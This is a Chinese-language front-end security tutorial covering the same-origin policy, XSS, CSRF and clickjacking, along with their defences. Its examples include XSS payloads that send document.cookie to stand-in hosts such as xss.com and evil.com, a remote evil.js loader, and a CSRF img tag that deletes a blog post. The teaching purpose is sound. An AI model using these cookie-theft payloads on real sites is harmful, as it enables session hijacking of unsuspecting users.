浅谈前端安全

转自:https://cloud.tencent.com/developer/article/1136202

安全问题的分类

按照所发生的区域分类

  • 后端安全问题:所有发生在后端服务器、应用、服务当中的安全问题
  • 前端安全问题:所有发生在浏览器、单页面应用、Web 页面当中的安全问题

按照团队中哪个角色最适合来修复安全问题分类

  • 后端安全问题:针对这个安全问题,后端最适合来修复
  • 前端安全问题:针对这个安全问题,前端最适合来修复

综合以上

  • 前端安全问题:发生在浏览器、前端应用当中或者通常由前端开发工程师来对其进行修复的安全问题

浏览器安全

同源策略

是一种约定,是浏览器最核心也最基本的安全功能,限制了来自不同源的 document 或者脚本,对当前 document 读取或设置某些属性

  • 影响 “源” 的因素有:host(域名或者 IP 地址)、子域名、端口、协议
  • 对浏览器来说,DOM、Cookie、XMLHttpRequest 会受到同源策略的限制

不受同源策略的标签

<script>、<img>、<iframe>、<link> 等标签都可以跨域加载资源,而不受同源策略的限制

  • 这些带 “src” 属性的标签每次加载时,浏览器会发起一次 GET 请求
  • 通过 src 属性加载的资源,浏览器限制了 javascript 的权限,使其不能读、写返回的内容

三大前端安全问题

1、跨站脚本攻击(XSS)

定义

英文全称:Cross Site Script,XSS 攻击,通常指黑客通过 “HTML 注入” 篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击

本质

是一种“HTML 注入”,用户的数据被当成了 HTML 代码一部分来执行,从而产生了新的语义


XSS 的分类

1、反射型 XSS:将用户输入的数据反射给浏览器。黑客需要诱使用户 “点击” 一个恶意链接,才能攻击成功。

举个例子:

  1. 假设在某购物网站上搜商品,当搜不到商品时会出现

此时的 URL 是 https://category.vip.com/suggest.php?keyword=xss&ff=235|12|1|1

  1. 在搜索框输入 <script>alert('xss')</script>
  2. 如果前端页面没有对搜索框的内容进行过滤,而是直接发送,这时,URL 地址栏应该会显示 https://category.vip.com/suggest.php?keyword=<script>alert('xss')</script>&ff=235|12|1|1,从而 alert 出 xss,但事实却是已经转码了的:https://category.vip.com/suggest.php?keyword=%3Cscript%3Ealert(%27xss%27)%3C%2Fscript%3E&ff=235|12|1|1
  3. 假设前端页面没有进行处理,那么攻击者就可以通过构造来获取用户的 cookie 的地址,来诱使用户来访问这个地址,比如说 https://category.vip.com/suggest.php?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>&ff=235|12|1|1

2、存储型 XSS:把用户输入的数据 “存储” 在服务器端,这种 XSS 具有很强的稳定性。

比如说,黑客写下一篇包含恶意 javascript 代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在浏览器中执行这段恶意的 javascript 代码,黑客把恶意的脚本保存到服务器端

3、DOM Based XSS:通过修改页面的 DOM 节点形成的 XSS。

举个例子:

  1. 在输入框中输入内容后点击 write

  2. 此时再点击 a 链接

原理: 首先用一个单引号闭合掉 href 的第一个单引号,然后插入一个 onclick 事件,最后再用注释符 “//“ 注释掉第二个单引号。点击此链接,脚本将被执行。


XSS Payload 攻击

定义

XSS 攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为 XSS Payload。实际上就是 Javascript 脚本(或者 Flash 或其他富客户端的脚本),所以 XSS Payload 能够做到任何 javascript 脚本能实现的功能

实例

  • 通过读取浏览器的 cookie 对象,从而发起 “cookie 劫持” 攻击
  1. 攻击者首先加载一个远程脚本 http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js></script>
  2. 真正的 XSS Payload 写在这个远程脚本中,避免直接在 URL 的参数里写入大量的 Javascript 代码
  3. 在 evil.js 中,通过如下代码窃取 cookie var img = document.createElement("img");
  4. img.src = "http://www.evil.com/log?"+escape(document.cookie);
  5. document.body.appendChild(img);
  6. 以上代码在页面中插入了一张看不见的图片,同时把 document.cookie 对象作为参数发送到远程服务器中
  7. http://www.evil.com/log 并不一定要存在,因为这个请求会在远程服务器的 Web 日志中留下记录 127.0.0.1 - - [119/Jul/2010:11:30:42 + 0800] "GET /log?cookie1%3D1234 HTTP/1.1" 404 288
  • 通过模拟 GET、POST 请求操作用户的浏览器(在 “cookie 劫持” 失效时,或者目标用户的网络不能访问互联网等情况时会非常有用)
    1. 假设某博客页面存在 XSS 漏洞,那么可以通过构造 get 请求操作用户浏览器
    2. 假设正常删除博客文章的链接为 http://blog.test.com/manage/entry.do?m=delete&id=1245862
    3. 对于攻击者来说,只需要知道文章的 id,就能够通过这个请求来删除这篇文章
    4. 攻击者可以通过插入一张图片来发起一个 get 请求
    5. 攻击者只需要让博客作者执行这段 javascript 代码也就是 XSS Payload,就会删除这篇文章

XSS 的防御

1、HttpOnly

浏览器禁止页面的 Javascript 访问带有 HttpOnly 属性的 cookie。(实质解决的是:XSS 后的 cookie 劫持攻击)如今已成为一种 “标准” 的做法

不同语言给 cookie 添加 HttpOnly 的方式不同,比如

  • JavaEE:response.setHeader("Set-Cookie","cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");
  • PHP4:header("Set-Cookie:hidden=value;httpOnly");
  • PHP5:setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE); //true 为 HttpOnly 属性

2、输入检查(XSS Filter)

  • 原理:让一些基于特殊字符的攻击失效。(常见的 Web 漏洞如 XSS、SQLInjection 等,都要求攻击者构造一些特殊字符)
  • 输入检查的逻辑,必须放在服务器端代码中实现。* 目前 Web 开发的普遍做法,是同时哎客户端 Javascript 中和服务端代码中实现相同的输入检查。客户端的输入检查可以阻挡大部分误操作的正常用户,节约服务器资源。

3、输出检查

在变量输出到 HTML 页面时,使用编码或转义的方式来防御 XSS 攻击

  • 针对 HTML 代码的编码方式:HtmlEncode
  • PHP:htmlentities()和 htmlspecialchars()两个函数
  • Javascript:JavascriptEncode(需要使用 “\” 对特殊字符进行转义,同时要求输出的变量必须在引号内部)
  • 在 URL 的 path(路径)或者 search(参数)中输出,使用 URLEncode
    具体实施可以参考:http://www.cnblogs.com/lovesong/p/5211667.html

防御 DOM Based XSS

  • DOM Based XSS 的形成: (举个例子)
  • 实质: 从 Javascript 中输出数据到 HTML 页面里
  • 这个例子的解决方案: 做一次 HtmlEncode

防御方法:分语境使用不同的编码函数


总结

XSS 漏洞虽然复杂,但是却是可以彻底解决的。在设计解决方案时,应该针对不同场景理解 XSS 攻击的原理,使用不同的方法

2、CSRF(跨站点请求伪造)

什么是 CSRF

首先来看个例子:

攻击者首先在自己的域构造一个页面:http://www.a.com/csrf.html,其内容为 <img src="http://blog.sohu.com/manage/entry.do?m=deleted&id=156714243" />
使用了一个 img 标签,其地址指向了删除 Iid 为 156714243 的博客文章
然后攻击者诱使目标用户,也就是博客主人访问这个页面
用户进去看到一张无法显示的图片,这时自己的那篇博客文章已经被删除了

原理: 在刚才访问 http://www.a.com/csrf.html 页面时,图片标签向服务器发送了一次 get 请求,这次请求导致了博客文章被删除

这种删除博客文章的请求,是攻击者伪造的,所以这种攻击就叫做“跨站点请求伪造”

CSRF 的原理

参考上图,我们可以总结,完成一次 CSRF 攻击,必须满足两个条件

  1. 用户登录受信任网站 A,并且在本地生成 Cookie
  2. 在不登出网站 A 的情况下,访问危险网站 B

CSRF 本质

CSRF 攻击是攻击者利用用户身份操作用户账户的一种攻击方式

CSRF 的防御

CSRF 能攻击成功的本质原因: 重要操作的所有参数都是可以被攻击者猜测到的

解决方案

1、验证码

CSRF 攻击过程中,用户在不知情的情况下构造了网络请求,添加验证码后,强制用户必须与应用进行交互

  • 优点:简洁而有效
  • 缺点:网站不能给所有的操作都加上验证码
2、Referer Check

利用 HTTP 头中的 Referer 判断请求来源是否合法
Referer 首部包含了当前请求页面的来源页面的地址

  • 优点:简单易操作(只需要在最后给所有安全敏感的请求统一添加一个拦截器来检查 Referer 的值就行)
  • 缺点:服务器并非什么时候都能取到 Referer

    1. 很多出于保护用户隐私的考虑,限制了 Referer 的发送。
    2. 比如从 HTTPS 跳转到 HTTP,出于安全的考虑,浏览器不会发送 Referer

浏览器兼容性

关于 Referer 的更多详细资料:https://75team.com/post/everything-you-could-ever-want-to-know-and-more-about-controlling-the-referer-header-fastmail-blog.html

3、使用 Anti CSRF Token
  • 比如一个删除操作的 URL 是:http://host/path/delete?uesrname=abc&item=123
  • 保持原参数不变,新增一个参数 Token,Token 值是随机的,不可预测
  • http://host/path/delete?username=abc&item=123&token=[random(seed)]

由于 Token 的存在,攻击者无法再构造出一个完整的 URL 实施 CSRF 攻击

  • 优点:比检查 Referer 方法更安全,并且不涉及用户隐私
  • 缺点:对所有的请求都添加 Token 比较困难

更多关于 CSRF 详细可参考:

  1. CSRF 攻击的应对之道:https://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/
  2. CSRF 原理剖析:http://netsecurity.51cto.com/art/200812/102951.htm
  3. 维基百科 CSRF:https://en.wikipedia.org/wiki/Cross-site_request_forgery
  4. CSRF 实例:http://netsecurity.51cto.com/art/200812/102925.htm

需要注意的点:

  1. Token 需要足够随机,必须用足够安全的随机数生成算法
  2. Token 应该为用户和服务器所共同持有,不能被第三方知晓
  3. Token 可以放在用户的 Session 或者浏览器的 Cookie 中
  4. 尽量把 Token 放在表单中,把敏感操作由 GET 改为 POST,以 form 表单的形式提交,可以避免 Token 泄露(比如一个页面:http://host/path/manage?username=abc&token=[random],在此页面用户需要在这个页面提交表单或者单击 “删除” 按钮,才能完成删除操作,在这种场景下,如果这个页面包含了一张攻击者能指定地址的图片 <img src="http://evil.com/notexist" />,则这个页面地址会作为 HTTP 请求的 Refer 发送到 evil.com 的服务器上,从而导致 Token 泄露)

XSRF 攻击

当网站同时存在 XSS 和 CSRF 漏洞时,XSS 可以模拟客户端浏览器执行任意操作,在 XSS 攻击下,攻击者完全可以请求页面后,读取页面内容中的 Token 值,然后再构造出一个合法的请求

结论

安全防御的体系应该是相辅相成、缺一不可的

3、点击劫持(ClickJacking)

什么是点击劫持

点击劫持是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的 iframe,覆盖在一个网页上,然后诱使用户在网页上进行操作,此时用户将在不知情的情况下点击透明的 iframe 页面。通过调整 iframe 页面的位置,可以诱使用户恰好点击在 iframe 页面的一些功能性按钮上。

防御点击劫持:X-Frame-Options

X-Frame-Options HTTP 响应头是用来给浏览器指示允许一个页面能否在 <frame>、<iframe>、<object> 中展现的标记

有三个可选的值

  1. DENY:浏览器会拒绝当前页面加载任何 frame 页面(即使是相同域名的页面也不允许)
  2. SAMEORIGIN:允许加载 frame 页面,但是 frame 页面的地址只能为同源域名下的页面
  3. ALLOW-FROM:可以加载指定来源的 frame 页面(可以定义 frame 页面的地址)

浏览器的兼容性

小结

综合以上三大前端安全,我们可以总结

  1. 谨慎用户输入信息,进行输入检查(客户端和服务端同时检查)
  2. 在变量输出到 HTML 页面时,都应该进行编码或转义来预防 XSS 攻击
  3. 该用验证码的时候一定要添上
  4. 尽量在重要请求上添加 Token 参数,注意 Token 要足够随机,用足够安全的随机数生成算法